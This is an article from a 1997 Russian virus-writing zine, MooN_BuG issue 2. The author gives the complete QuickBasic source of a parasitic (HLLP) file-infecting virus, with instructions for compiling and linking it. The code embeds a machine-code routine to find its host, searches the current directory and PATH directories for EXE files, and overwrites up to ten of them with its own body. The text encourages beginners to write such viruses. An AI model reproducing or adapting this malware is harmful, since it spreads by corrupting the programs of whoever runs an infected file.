[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 2, May 1997                                           file 006


                      ЭКЗОТИКА: ВИРУС-ПАРАЗИТ НА БЕЙСИКЕ
                                                         by RedArc

     При  написании  вируса на языке Бейсик программисты обычно сталкиваются с
такими неразрешимыми проблемами, как
 - нахождение имени и пути запущенной программы;
 - обработка файлов в бинарном виде;
 - обработка параметров из командной строки;
 - размеры независимых исполняемых файлов.
     Сталкнувшись  с  подобного  рода  проблемами  у  начинающих программистов
надолго   пропадает   желание   написать  что-нибудь  живое  и  самостоятельно
плодящееся.  Дык  это  не  правильно. Вирусы можно писать почти на всех языках
программирования, только вот уровень и количество проблем будет разное.
     Значит так, первая проблема решается тремя способами:
 - сканирование экрана снизу вверх в поисках "забытого" имени файла (в
   большинстве случаев получаем облом);
 - юзание подпрограмки на языке ассемблера (см. ниже);
 - использование "комбинированного" метода заражения (см. в след. разделах).
     Со  второй  проблемой я вообще не увидел трудностей - просто нужно больше
фантазии...  ;)  Для  решения  третьей  проблемы  нужно  всего-то покапаться в
Help'е.  Ну  а на размеры вируса вообще нужно плюнуть... Главное - получилось!
Ну в общем, кидаю ниже исходник полноценного HLLP-вируса, написанного на языке
Microsoft  Quick Basic v.4.5, причем, отличается от подобного, опубликованного
в   SU.VIRUS   тем,  что  "правильно"  определяет  имя  запущенной  программы,
производит  поиск  по  каталогам  из PATH и имеет более умеренный аппетит, что
сказывается на скорости его работы.
     Короче  -  смотрите,  комментариев там с избытком. Компилировать исходник
можно  так  (чего  там  компилятор  с линкером пишут - не помню, но количество
нажатий  на  кнопочку  [Enter]  доведено  уже  до  автоматизма ;) ), только не
забудьте поправить длину зверька в зависимости от EXE-паковщика:
 bc.exe /E /X hllp_bas.bas [Enter]
 [Enter]
 [Enter]
 link.exe hllp_bas.obj [Enter]
 [Enter]
 [Enter]
 bcom45.lib [Enter]
     Да,  совсем  забыл...  Для  запуска  вируса не нужно использовать никаких
дополнительных  программ - в теле вируса можно указать путь и имя дроппера для
отказа запуска псевдо программы-носителя (дроппера).
     PS:  Блин,  пришлось  после  многолетнего перерыва вспоминать Бейсик, так
что возможны ошибки, хотя я их и не заметил ;) Но работает очень тормозно ;)

=== Cut ===
'(****************************************************************************)
'(*****              HLLP.Basic (c) 1997 by RedArc // [TAVC]             *****)
'(*****    Поиск EXE-программ в текущем каталоге и по переменной PATH    *****)
'(*****            Паразитирование на основном коде программы            *****)
'(*****              MooN_BuG issue 2 // Вирусы-паразиты //              *****)
'(****************************************************************************)

'Общие переменные для подпрограмм
        COMMON SHARED FileNameVir$, HOME$, CP$, NumInfect%
'Сбор параметров из командной строки
        DECLARE SUB Comline (NumArgs%, Args$(), MaxArgs%)
'Лечение файлов
        DECLARE SUB CureFile (F1$)
'Инфицирование файлов
        DECLARE SUB InfectFileCure (F$)
'Поиск файлов в текущем каталоге
        DECLARE SUB CurrentDir ()
'Поиск жертв в текущем каталоге
        DECLARE SUB ListFileCureDir ()
'Поиск каталогов по переменной PATH
        DECLARE SUB SearchFromPath ()
'Определение каталога запуска программы-носителя
        DECLARE SUB HOMEIN ()
'Адрес подпрограммы обработки ошибок
        ON ERROR GOTO 200

'************************
'*** Данные программы ***
'************************

'Заголовок EXE-программы
    TYPE ExeHeaderRecord
         Signature AS STRING * 2 'Шестнадцатиричное 4D5A или дес. 19802
         PartPag   AS STRING * 2 'Число байтов в последнем блоке файла
         PageCnt   AS STRING * 2 'Число блоков по 512 байт, включая заголовок
         ReloCnt   AS STRING * 2 'Число настраиваемых элементов
         HdrSize   AS STRING * 2 'Число 16-байтовых блоков в заголовке
         MinHeap   AS STRING * 2 'Минимальное число параграфов после программы
         MaxHeap   AS STRING * 2 'Переключатель загрузки в младшие или старшие адреса
         ReloSS    AS STRING * 2 'Относительный адрес сегмента стека
         ReloSP    AS STRING * 2 'Адрес, который загружается в регистр SP
         CheckSum  AS STRING * 2 'Сумма всех слов в файле
         EXEIP     AS STRING * 2 'Адрес, который загружается в регистр IP
         ReloCS    AS STRING * 2 'Относительный адрес сегмента кода
         ReloOfs   AS STRING * 2 'Смещение первого настраиваемого элемента
         OVRNum    AS STRING * 2 'Номер оверлейного фрагмента
    END TYPE

'Переменная типа заголовка исполняемого файла
        DIM SHARED ExeHeader AS ExeHeaderRecord
'Массив параметров из командной строки
        DIM ARGUM$(1 TO 15)
'Длина кода вируса
        CONST REDARCLEN = 36501
'Размер низкоуровневой подпрограммы для работы со списком списков (db)
        CONST nASMBYTES = 96

        DEFINT A-Z

'Массив низкоуровневого кода в словах (dw)
        DIM AsmProg(1 TO (nASMBYTES / 2))

AsmBytes:
'    1     2     3     4     5     6     7     8     9     10    11    12    13    14    15    16
DATA &H1E, &H06, &H50, &H53, &H51, &H56, &H57, &HB4, &H62, &HCD, &H21, &H8E, &HC3, &H26, &HA1, &H2C
DATA &H00, &H8E, &HD8, &H8E, &HC0, &H33, &HF6, &H8A, &H04, &H8A, &H64, &H01, &H3A, &HE0, &H74, &H03
DATA &H46, &HEB, &HF4, &H3D, &H00, &H00, &H74, &H03, &H46, &HEB, &HEC, &H46, &H56, &H83, &HC6, &H03
DATA &H56, &HB9, &H01, &H00, &H8A, &H04, &H3C, &H00, &H74, &H04, &H46, &H41, &HEB, &HF6, &H5E, &H5F
DATA &HF3, &HA4, &H87, &HF7, &H4E, &H33, &HC0, &H89, &H04, &HB8, &H00, &H01, &H83, &HC6, &H02, &H89
DATA &H04, &H5F, &H5E, &H59, &H5B, &H58, &H07, &H1F, &HCA, &H02, &H00, &H00, &H00, &H00, &H00, &H00

'***********************
'*** Реализация кода ***
'***********************

'Программы еще не заражены
NumInfect% = 0

'Запомним путь к COMMAND.COM - он нам еще не раз пригодится
        CP$ = ENVIRON$("COMSPEC")

'*** Определение пути и имени программы-носителя
        CALL HOMEIN
'Ищем последний список в списке
        I% = 1
        DO WHILE ENVIRON$(I%) <> ""
                I% = I% + 1
        LOOP
'Определяем указатель в памяти на низкоуровневую подпрограмму
        P = VARPTR(AsmProg(1))
'Создаем для нее отдельный параграф в памяти и запоминаем его сегмент
        DEF SEG = VARSEG(AsmProg(1))
'Копируем низкоуровневую подпрограмму в выделенный параграф
        RESTORE AsmBytes
        FOR K% = 0 TO nASMBYTES - 1
                READ J%
                POKE (P + K), J%
        NEXT K%
'Передаем ей управление
        CALL ABSOLUTE(VARPTR(AsmProg(1)))
'Восстанавливаем сегмент кода на себя и освобождаем память
        DEF SEG
'Читаем из списка списков имя программы-носителя
        FileNameVir$ = ENVIRON$(I%)
'*** Определение пути и имени программы-носителя

'Если вирус запущен не из дроппера, то производим запуск на исполнение
IF FileNameVir$ <> "C:\TEST\HLLP_BAS.EXE" THEN
'*** Запуск на исполнение программы - носителя
'Лечим программу-носитель
        CALL CureFile(FileNameVir$)
'Собираем параметры из командной строки в массив
        CALL Comline(N%, ARGUM$(), 10)
'Собираем параметры из массива в строку
        PARAM$ = " "
        FOR I = 1 TO N: PARAM$ = PARAM$ + " " + ARGUM$(I): NEXT I
'Запускаем программу-носитель на исполнение со строкой параметров
        SHELL FileNameVirCure$ + PARAM$
'Восстанавливаем заражение
        CALL InfectFileCure(FileNameVirCure$)
'*** Запуск на исполнение программы - носителя
END IF

'*** Поиск жертв
'Поиск жертв в текущем каталоге
        CALL CurrentDir
'Поиск жертв в каталогах из PATH
        CALL SearchFromPath
'*** Поиск жертв

'Выход из вируса
400
SHELL (CP$ + " /c " + LEFT$(HOME$, 2))
CHDIR (HOME$)
END
'Обработка ошибок времени выполнения вируса
200
RESUME NEXT

DEFSNG A-Z
SUB Comline (NumArgs%, Args$(), MaxArgs%) STATIC
CONST TRUE = -1, False = 0
   NumArgs = 0: In = False
   Cl$ = COMMAND$
   L = LEN(Cl$)
   FOR I = 1 TO L
      C$ = MID$(Cl$, I, 1)
      IF (C$ <> " " AND C$ <> CHR$(9)) THEN
         IF NOT In THEN
            IF NumArgs = MaxArgs THEN EXIT FOR
            NumArgs = NumArgs + 1
            In = TRUE
         END IF
         Args$(NumArgs) = Args$(NumArgs) + C$
      ELSE
         In = False
      END IF
   NEXT I
END SUB

SUB CureFile (F1$)
'Создаем файл с кодом вируса
    OPEN F1$ FOR BINARY AS #1
    OPEN "REDARC.VIR" FOR BINARY AS #2
    FOR K = 1 TO RerArcLen
        GET #1, K, B
        PUT #2, K, B
    NEXT K
    RESET
'Прибиваем код вируса в файле путем восстановления настоящего начала
    OPEN F1$ FOR BINARY AS #1
         L = LOF(1)
         FOR K = 1 TO REDARCLEN
             GET #1, L - REDARCLEN + K, B
             PUT #1, K, B
         NEXT K
    CLOSE #1
END SUB

SUB CurrentDir

'*** Производим поиск программ через command.com
'Листаем каталог с перенаправлением стандартной области ввода/вывода
SHELL CP$ + " /c dir *.* > BASIC.VIR"
'Запускаем подпрограмму обработки полученного списка файлов
CALL ListFileCureDir
END SUB

SUB HOMEIN
'Определение текущего каталога
SHELL CP$ + " /c truename > HOME$$$$.VIR"
OPEN "HOME$$$$.VIR" FOR INPUT AS #5
INPUT #5, HOME$
INPUT #5, HOME$
CLOSE #5
KILL "HOME$$$$.VIR"
END SUB

SUB InfectFileCure (F$)
'Переписываем код вируса в программу-носитель для восстановления заражения
    OPEN F$ FOR BINARY AS #1
    OPEN "REDARC.VIR" FOR BINARY AS #2
         FOR K = 1 TO REDARCLEN
             GET #2, K, B
             PUT #1, K, B
         NEXT K
         RESET
    KILL "REDARC.VIR"
END SUB

SUB ListFileCureDir
'Ограничение по количеству инфицированных программ
IF NumInfect% >= 10 THEN 350
'Обработка списка файлов
OPEN FileNameVir$ FOR BINARY AS #3
OPEN "BASIC.VIR" FOR INPUT AS #1
        FOR I = 1 TO 4
            INPUT #1, B$
        NEXT I
        INPUT #1, A$
        WHILE NOT EOF(1)
              INPUT #1, A$
              I = 1
              WHILE MID$(A$, I, 1) <> " "
                    I = I + 1
              WEND
              EXT$ = MID$(A$, 10, 3)
              IF EXT$ = "   " THEN 300
              IF EXT$ <> "EXE" THEN 300
              NumInfect% = NumInfect% + 1
              FileName$ = LEFT$(A$, I - 1) + "." + MID$(A$, 10, 3)
              OPEN FileName$ FOR BINARY AS #2
                   GET #2, 1, ExeHeader
                   IF ExeHeader.Signature <> "MZ" THEN 100
                   IF ExeHeader.CheckSum = "ЭЙ" THEN 100
                   '-------------------------
                   L = LOF(2)
                   FOR K = 1 TO REDARCLEN
                       GET #2, K, B!
                       PUT #2, L + K, B!
                   NEXT K
                   FOR K = 1 TO REDARCLEN
                       GET #3, K, B!
                       PUT #2, K, B!
                   NEXT K
100           CLOSE #2
300     WEND
CLOSE #1
CLOSE #3
350
KILL "BASIC.VIR"
END SUB

SUB SearchFromPath
'Поиск жертв в каталогах из PATH
A$ = ENVIRON$("PATH")
S$ = ""
I = 1
   WHILE 2 = 2
         IF I >= LEN(A$) + 1 THEN
            IF S$ <> "" THEN
               IF RIGHT$(S$, 1) = "\" THEN S$ = LEFT$(S$, LEN(A$) - 1)
               IF LEFT$(S$, 1) <> LEFT$(HOME$, 1) THEN
                  B$ = CP$ + " /c " + LEFT$(S$, 2)
                  SHELL B$
               END IF
              CHDIR (S$)
               CALL CurrentDir

            END IF
            GOTO 10
         END IF
         Ch$ = MID$(A$, I, 1)
         I = I + 1
         IF Ch$ <> ";" THEN
            S$ = S$ + Ch$
         ELSE
            IF RIGHT$(S$, 1) = "\" THEN S$ = LEFT$(S$, LEN(A$) - 1)
            IF LEFT$(S$, 1) <> LEFT$(HOME$, 1) THEN
               B$ = CP$ + " /c " + LEFT$(S$, 2)
               SHELL B$
            END IF
            CHDIR (S$)
            CALL CurrentDir
            S$ = ""
         END IF
   WEND
10
END SUB
=== Cut ===




Надежно: Авиабилеты в флоренцию - у нас дешевле!